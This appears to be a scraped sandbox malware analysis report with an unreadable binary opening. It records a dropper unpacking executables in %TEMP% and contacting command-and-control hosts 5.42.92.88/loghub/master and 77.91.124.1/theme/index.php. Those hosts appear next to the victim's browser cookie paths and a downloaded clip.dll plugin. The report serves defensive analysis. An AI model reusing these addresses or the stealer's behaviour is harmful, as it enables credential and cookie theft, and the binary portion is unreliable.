c(��ͱ�ܡ�o��7_z7��H��Aޫ�7CRC��33��&��Z��R�H�n4��(��#+'�걖Dp�,��B7�r�NK8@�%Q|��꺖$u�y�%��jIvx�U�&�T��" Pattern match: "https://csp.withgoogle.com/csp/apps-themesCross-Origin-Resource-Policy" Pattern match: "https://csp.withgoogle.com/csp/boq-infra/identity-boq-js-css-signersCross-Origin-Resource-Policy" Pattern match: "https://csp.withgoogle.com/csp/report-to/static-on-bigtable}]}Content-Length" Pattern match: "https://accounts.google.comContent-Security-Policy" Pattern match: "https://accounts.google.comAccess-Control-Request-Method" Pattern match: "https://accounts.google.comAccess-Control-Allow-Methods" Pattern match: "accounts.google.com/v3/signin/identifier\,null,[\\],0]],\6581156653080950613\,3,[null,\S100848954:1697852034068664\]],null,null,null,null,null,null,-7200,null,null,null,null,[],1,null,null,null,null,null,[]],[1697863852000,null,[],null,null,null," Pattern match: "g.co/p3phelp" Pattern match: "https://accounts.google.comCross-Origin-Resource-Policy" Pattern match: "https://accounts.google.com/v3/signin/" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.QUjh89dKB-E.L.I11.O/am=DmBFJI4NgOD_oonn7xknhwEAAAAAAAAAANZAdg/d=1/ed=1/rs=AOaEmlEs3ytxL6hfwA-YD0CWz74eke7d0g/m=identifierview,_b,_tp" Pattern match: "fonts.gstatic.com/s/productsans/v9/pxiDypQkot1TnFhsFMOfGShVF9eI.woff" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.C6tNd3FBrA8.es5.O/am=DmBFJI4NgOD_oonn7xknhwEAAAAAAAAAANZAdg/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlHlvGH0uOdIItMZ5p_iAU8jYD9fsA/m=_b,_tp" Pattern match: "fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1MmgVxIIzQ.woff" Pattern match: "https://accounts.google.com/AccountChooser?continue\u003dhttps://accounts.google.com/\u0026followup\u003dhttps://accounts.google.com/],[null,[null,null,https://accounts.google.com/Logout?continue\u003dhttps://accounts.google.com/restart?continue%3Dhttps:" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.8dPAf41KP2A.L.B1.O/am=DmBFZI4NgOD_oonn7xknhwEAAAAAAAAAANZAdg/d=1/ed=1/rs=AOaEmlFu7so_cG35thTT-KKqKIyGIgUn8w/m=identifierview,_b,_tp" Pattern match: "fonts.gstatic.com/s/productsans/v9/pxiDypQkot1TnFhsFMOfGShVGdeOYktMqlap.woff2" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.C6tNd3FBrA8.es5.O/am=DmBFZI4NgOD_oonn7xknhwEAAAAAAAAAANZAdg/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlHK_6NZi0yeSin1ommAktmAN0EneA/m=_b,_tp" Pattern match: "fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2" Pattern match: "www.youtube.com\//g" Pattern match: "https://www.youtube.com/error_204?t=jserror&level=ERROR" Pattern match: "https://www.youtube.com/s/desktop/b926992e/img/favicon.ico" Pattern match: "https://i.ytimg.com/generate_204" Pattern match: "https://www.youtube.com/s/desktop/b926992e/jsbin/scheduler.vflset/scheduler.js" Pattern match: "https://www.youtube.com/s/desktop/b926992e/jsbin/network.vflset/network.js" Pattern match: "https://www.youtube.com/s/desktop/b926992e/cssbin/www-main-desktop-watch-page-skeleton.css" Pattern match: "https://www.youtube.com" Pattern match: "https://accounts.google.com" Pattern match: "com.google.android.gms/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver" Pattern match: "https://www.google.com/log?format=json&hasfast=true:https://play.google.com/log?format=json&hasfast=true" Pattern match: "https://play.google.com/log?format=json&hasfast=true;this.Ma=!0;this.Ja=!1;this.Qg=;this.oa=this.aa=this.da=!1;this.network=new" Pattern match: "https://policies.google.com/terms+(f?/embedded:)+?hl=+_.rz(d)+&gl=+_.rz(c)+" Pattern match: "https://policies.google.com/privacy+(f?/embedded:)+?hl=+_.rz(d)+&gl=+_.rz(c)+(g?&color_scheme=+_.rz(g):)+((null==e?0:e.X9)?#infocollect:);break;case" Pattern match: "https://play.google.com/intl/+_.rz(l)+/about/play-terms/embedded/+(g??color_scheme=+_.rz(g):);break;case" Pattern match: "https://www.youtube.com/t/terms?chromeless=1&hl=+_.rz(l);break;case" Pattern match: "https://policies.google.com/privacy+(f?/embedded:)+?hl=+_.rz(d)+&gl=+_.rz(c)+(g?&color_scheme=+_.rz(g):)+#inforetaining;break;case" Pattern match: "https://policies.google.com/privacy/additional+(f?/embedded:)+?hl=+_.rz(d)+&gl=jp+(g?&color_scheme=+_.rz(g):);break;case" Pattern match: "http://+this.ea.substring(this.Ca.length)" Pattern match: "http://www.w3.org/XML/1998/namespace:0===b.lastIndexOf(xlink:,0)?http://www.w3.org/1999/xlink:null" Pattern match: "http://www.w3.org/2000/svg:math===a?http://www.w3.org/1998/Math/MathML:null==d||foreignObject===IB(d).da?null:d.namespaceURI" Pattern match: "https://www.w3.org/2000/svg'+" Pattern match: "https://www.gstatic.com/images/branding/product/2x/chrome_48dp.png" Pattern match: "https://fonts.gstatic.com/s/i/productlogos/drive_2020q4/v10/192px.svg" Pattern match: "https://www.gstatic.com/images/branding/product/2x/gsa_48dp.png" Pattern match: "https://fonts.gstatic.com/s/i/productlogos/gmail_2020q4/v10/web-48dp/logo_gmail_2020q4_color_2x_web_48dp.png" Pattern match: "https://www.gstatic.com/images/branding/product/2x/play_prism_48dp.png" Pattern match: "https://ssl.gstatic.com/accounts/animation/+_.sz" Pattern match: "https://ssl.gstatic.com/accounts/embedded/security_key_laptop.gif" Pattern match: "https://ssl.gstatic.com/accounts/embedded/security_key.gif" Pattern match: "https://ssl.gstatic.com/accounts/embedded/security_key_nfc_discovered.gif" Pattern match: "https://ssl.gstatic.com/accounts/embedded/security_key_phone.gif" Pattern match: "https://ssl.gstatic.com/accounts/embedded/security_key_ios_center.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/ble_device.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/ble_pin.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/usb_key.svg" Pattern match: "https://ssl.gstatic.com/accounts/marc/security_key_phone.svg" Pattern match: "https://ssl.gstatic.com/accounts/marc/paaskey.svg" Pattern match: "https://ssl.gstatic.com/accounts/marc/passkey_challenge.svg" Pattern match: "https://ssl.gstatic.com/accounts/marc/passkey_enrollment.svg" Pattern match: "https://ssl.gstatic.com/accounts/marc/passkey_enrollment_cross_device.svg" Pattern match: "https://ssl.gstatic.com/accounts/marc/passkey_enrollment_reauth.svg" Pattern match: "https://ssl.gstatic.com/accounts/marc/passkey_enrollment_error.svg" Pattern match: "https://ssl.gstatic.com/accounts/marc/passkeyerror.svg" Pattern match: "https://ssl.gstatic.com/accounts/marc/passkey_success.svg" Pattern match: "https://ssl.gstatic.com/accounts/marc/security_keys.svg" Pattern match: "https://ssl.gstatic.com/accounts/marc/security_key_ipad.gif" Pattern match: "https://ssl.gstatic.com/accounts/marc/security_key_iphone.gif" Pattern match: "https://ssl.gstatic.com/accounts/marc/security_key_iphone_nfc.gif" Pattern match: "https://ssl.gstatic.com/accounts/marc/security_key_iphone_usb.gif" Pattern match: "https://ssl.gstatic.com/accounts/marc/success_checkmark_2.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/smart_lock_2x.png" Pattern match: "https://ssl.gstatic.com/accounts/account-recovery-password.svg" Pattern match: "https://ssl.gstatic.com/accounts/account-recovery-email-pin.gif" Pattern match: "https://www.gstatic.com/accounts/speedbump/authzen_optin_illustration.gif" Pattern match: "https://ssl.gstatic.com/images/hpp/shield_security_checkup_green_2x_web_96dp.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidfork_who_will_use.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidfork_who_will_use_updated.svg" Pattern match: "https://ssl.gstatic.com/kids/images/ulpupgrade/kidprofileupgrade_all_set.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignin_not_ready.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignin_stick_around.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_single_device.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_double_device.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_full_house.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_stop.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_child_account.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_child_privacy.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_created.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_link_accounts.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_parent_app_decision.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_parent_supervision.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_respect_others_updated.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/supervision_ready_v2.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/hand_over_device.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/devices_connected_v2.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/devices_connected_tablet_v2.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/set_up_kids_space.png" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/almost_done_kids_space_v2.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/all_set.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/linking_accounts_v2.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/parents_help.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/manage_parental_controls_v2.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/manage_parental_controls_email_v2.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/open_family_link_v2.svg" Pattern match: "https://ssl.gstatic.com/kids/images/onboarding/installing_family_link_0.svg" Pattern match: "https://ssl.gstatic.com/kids/images/onboarding/location_sharing_enabled_0.svg" Pattern match: "https://ssl.gstatic.com/kids/images/onboarding/parent_sign_in_prologue_0.svg" Pattern match: "https://ssl.gstatic.com/kids/images/onboarding/set_up_contacts_0.svg" Pattern match: "https://ssl.gstatic.com/kids/images/onboarding/set_up_family_link_0.svg" Pattern match: "https://ssl.gstatic.com/kids/images/onboarding/set_up_location_sharing_0.svg" Pattern match: "https://ssl.gstatic.com/kids/images/onboarding/set_up_parental_controls_0.svg" Pattern match: "https://ssl.gstatic.com/kids/images/onboarding/set_up_school_time_0.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/device_prompt_tap_yes.gif" Pattern match: "https://ssl.gstatic.com/accounts/embedded/signin_tapyes.gif" Pattern match: "https://ssl.gstatic.com/accounts/marc/gmail_ios_authzen.gif" Pattern match: "https://ssl.gstatic.com/accounts/embedded/signin_googleapp_ios.gif" Pattern match: "https://ssl.gstatic.com/accounts/embedded/signin_googleapp_pulldown.gif" Pattern match: "https://ssl.gstatic.com/accounts/marc/screenlock.png" Pattern match: "https://ssl.gstatic.com/accounts/account-recovery-sms-pin.gif" Pattern match: "https://ssl.gstatic.com/accounts/account-recovery-sms-or-voice-pin.gif" Pattern match: "https://ssl.gstatic.com/accounts/account-recovery-stop-go-landing-page_1x.png" Pattern match: "https://ssl.gstatic.com/accounts/ui/progress_spinner_color_20dp_4x.gif" Pattern match: "https://ssl.gstatic.com/accounts/ui/success-gm-default_2x.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/continue_on_your_phone.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/device_phone_number_verification.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/phone_number_sign_in_2x.png" Pattern match: "https://ssl.gstatic.com/accounts/ui/loading_spinner_gm.gif" Pattern match: "https://ssl.gstatic.com/accounts/embedded/contacts_backup_sync.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/contacts_backup_sync_1x.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/contacts_backup_sync_2x.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/web_and_app_activity.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/you_tube_history.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/personalization_reminders.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/who_will_be_using_this_device.svg" Pattern match: "https://ssl.gstatic.com/kids/images/ulp_appblock/kid_setup_parent_escalation.svg" Pattern match: "https://ssl.gstatic.com/kids/images/ulp_appblock/success_sent_email.svg" Pattern match: "https://ssl.gstatic.com/kids/images/ulp_appblock/send_email_confirmation.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kid_success.svg" Pattern match: "https://ssl.gstatic.com/kids/images/minormodeexit/intro.svg" Pattern match: "https://ssl.gstatic.com/kids/images/minormodeexit/fork.svg" Pattern match: "https://ssl.gstatic.com/kids/images/minormodeexit/ads_personalization.svg" Pattern match: "https://ssl.gstatic.com/kids/images/minormodeexit/personal_results.svg" Pattern match: "https://ssl.gstatic.com/kids/images/minormodeexit/safe_search.svg" Pattern match: "https://ssl.gstatic.com/kids/images/minormodeexit/confirmation.svg" Pattern match: "https://ssl.gstatic.com/kids/images/minormodeexit/eligibility_error.svg" Pattern match: "https://ssl.gstatic.com/kids/images/graduation/graduation_apps_devices.svg" Pattern match: "https://ssl.gstatic.com/kids/images/graduation/graduation_choose_apps.svg" Pattern match: "https://ssl.gstatic.com/kids/images/graduation/graduation_confirmation.svg" Pattern match: "https://ssl.gstatic.com/kids/images/graduation/graduation_intro.svg" Pattern match: "https://ssl.gstatic.com/kids/images/graduation/graduation_review_settings.svg" Pattern match: "https://ssl.gstatic.com/kids/images/graduation/graduation_safe_search.svg" Pattern match: "https://ssl.gstatic.com/kids/images/graduation/graduation_supervision_choice.svg" Pattern match: "https://ssl.gstatic.com/kids/images/chaptering/account_setup_chapter.svg" Pattern match: "https://ssl.gstatic.com/kids/images/chaptering/device_setup_chapter.svg" Pattern match: "https://ssl.gstatic.com/kids/images/chaptering/parental_control_chapter.svg" Pattern match: "https://www.w3.org/2000/svg" Pattern match: "https://accounts.google.com/TOS?loc=+_.rz(a.zW)+&hl=+_.rz(b)+&privacy=true" Pattern match: "https://support.google.com/websearch/answer/4358949?hl=ko&ref_topic=3285072" Pattern match: "https://www.gstatic.com/images/branding/product/2x/youtube_48dp.png" Pattern match: "https://fonts.gstatic.com/s/i/productlogos/maps/v7/192px.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/manage_parental_controls_email.svg" Pattern match: "https://g.co/recover" Pattern match: "https://play.google.com/work/enroll?identifier=+_.gi(a)" Pattern match: "a.rb/1E3/c,this.da=-1==this.da?a:.3*a+.7*this.da" Heuristic match: "f9.tD" Heuristic match: "PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MW" Pattern match: "http://5.42.92.88/" Pattern match: "http://5.42.92.88/loghub/master" Heuristic match: "PATHEXT=.CO"5d:Tabe,Found URL "http://5.42.92.88/localappdata=c:\users\hapubws\appdata\localcommonprogramfiles=c:\program" - Source: "00000000-00000488.00000000.67644.00280000.00000004.mdmp") Found URL "http://5.42.92.88/loghub/mastertxf.http://5.42.92.88/loghub/masterlmemlmem28vp2(vd]/hconaaaa0v7vhcon5.42.92.885.42.92.885.42.92.883755b5w,g9c9gt" - Source: "00000000-00000488.00000000.67644.00280000.00000004.mdmp") Found URL "http://77.91.124.1/theme/plugins/clip.dllc:\users\hapubws\appdata\local\microsoft\windows\temporary" - Source: "00000000-00002164.00000001.71369.00350000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.phpdntexceptiondntexception:c:\users\hapubws\appdata\roaming\microsoft\windows\dntexception\domstoredomstorec:\users\hapubws\appdata\local\microsoft\internet" - Source: "00000000-00002164.00000001.71369.00350000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.php@smi2.ru/c:\users\hapubws\appdata\roaming\microsoft\windows\cookies\aujekfns.txtcookie:hapubws@wayfair.com/c:\users\hapubws\appdata\roaming\microsoft\windows\cookies\sa8sg1gy.txtcookie:hapubws@same.eastmoney.com/c:\users\hapubws\appdata\roaming\microsoft\windows\cookies\ebohppoy.txtcookie:hapubws@gateway.foresee.com/c:\users\hapubws\appdata\roaming\microsoft\windows\cookies\o0yjcvgt.txtcookie:hapubws@jalan.net/c:\users\hapubws\appdata\roaming\microsoft\windows\cookies\9wn7o6v0.txtcookie:hapubws@nextag.com/c:\users\hapubws\appdata\roaming\microsoft\windows\cookies\vig24o8f.txtcookie:hapubws@www.rakuten.co.jp/c:\users\hapubws\appdata\roaming\microsoft\windows\cookies\6tzsspy7.txtdows\history\history.ie5\mshist012022120220221203\istorycalrpcesent.ecompateedplat:adsmsext.dllecompatuaecompatua:2520437.cpxtheme/index.phpedownload:acledit.dllcctres.dllcproxy.dlledownloadomstoretheme/index.phptheme/index.phpdtschema.dllapubws-pc\hapubwsdvpack.dllaecache.dllelupsvc.dlltheme/index.phpctiveds.dllomstoreecompat:admtmpl.dllctxprxy.dllctiveds.tlbaclient.dlleedplattheme/index.phplttab.dllebcache_" - Source: "00000000-00002164.00000002.73290.00350000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.php9>n.itlmemlmemokie:hapubws@in.treasuredata.com/http://77.91.124.1/theme/index.phpmicrosoft" - Source: "00000000-00002164.00000002.73290.00350000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.phpv120628338360,3276,3,hconnect,0,0,,cc0008120628338360,3276,6,lpszverb,1,1,0,@216f724,4,504f5354120628338360,3276,6,lpszobjectname,2,1,0,@422b00,16,2f7468656d652f696e6465782e706870120628338360,3276,6,lpszversion,3120628338360,3276,6,lpszreferrer,4120628338360,3276,3,lplpszaccepttypes,5,0,,0120628338360,3276,3,dwflags,6,0,,0120628338360,3276,3,dwcontext,7,0,,1" - Source: "00000000-00002164.00000002.73290.03362000.00000004.mdmp")5e:T746,Found string "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.facebook.comDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /rsrc.php/yb/r/hLRJ1GG_y0J.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL") Found string "HTTP/1.1 304 Not ModifiedDate: Thu, 19 Oct 2023 16:22:24 GMTExpires: Fri, 18 Oct 2024 16:22:24 GMTAge: 119493Last-Modified: Mon, 16 Oct 2017 17:32:56 GMTCache-Control: public, max-age=31536000Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoDNT: 1Connection: Keep-AliveHost: www.google.com" (Indicator: "HTTP/1.1"; File: "SSL") Found string "POST /loghub/master HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00000488.00000000.67644.00280000.00000004.mdmp") Found string "ST /loghub/master HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00000488.00000001.67961.00280000.00000004.mdmp") Found string "ghub/master HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00000488.00000001.67961.00280000.00000004.mdmp")5f:T14f2,Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAU" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJ" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAtLH069n6%2By1et%2F8S6YorU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2FkK8CB3U8zNllZGKiErhZcjsCEAtLH06" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAtLH069n6%2By1et%2F8S6YorU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfq" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "hLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQ" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "P4v0cB1JgmGggC72NkK8MCEATh56TcXPL" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAU" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Sat, 21 Oct 2023 00:56:31 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Sat, 21 Oct 2023 00:56:31 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrj" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdi" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "uNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0B" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2BrkS7QYXjzkCEA177el9ggmWelJjG4vd" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3x" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com"60:T428,"file.exe" called "FindFirstFileW" with parameter %TEMP%\IXP000.TMP\*.* (UID: 00000000-00002448) "file.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00002448) "file.exe" called "FindNextFileW" with parameter 6hE6Ue0.exe (UID: 00000000-00002448) "file.exe" called "FindNextFileW" with parameter Vo8ml85.exe (UID: 00000000-00002448) "file.exe" called "FindFirstFileA" with parameter %TEMP%\IXP000.TMP\* (UID: 00000000-00002448) "file.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00002448) "Vo8ml85.exe" called "FindFirstFileW" with parameter %TEMP%\IXP001.TMP\*.* (UID: 00000000-00002464) "Vo8ml85.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00002464) "Vo8ml85.exe" called "FindNextFileW" with parameter 5VA7se4.exe (UID: 00000000-00002464) "Vo8ml85.exe" called "FindNextFileW" with parameter aM0RY76.exe (UID: 00000000-00002464) "Vo8ml85.exe" called "FindFirstFileA" with parameter %TEMP%\IXP001.TMP\* (UID: 00000000-00002464) "Vo8ml85.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00002464)61:Td32,file/memory contains long string with (Indicator: "base64"; File: "zI56j6esQGz_1_.js") file/memory contains long string with (Indicator: ".decrypt"; File: "_tJ17sGyxOX_1_.js") 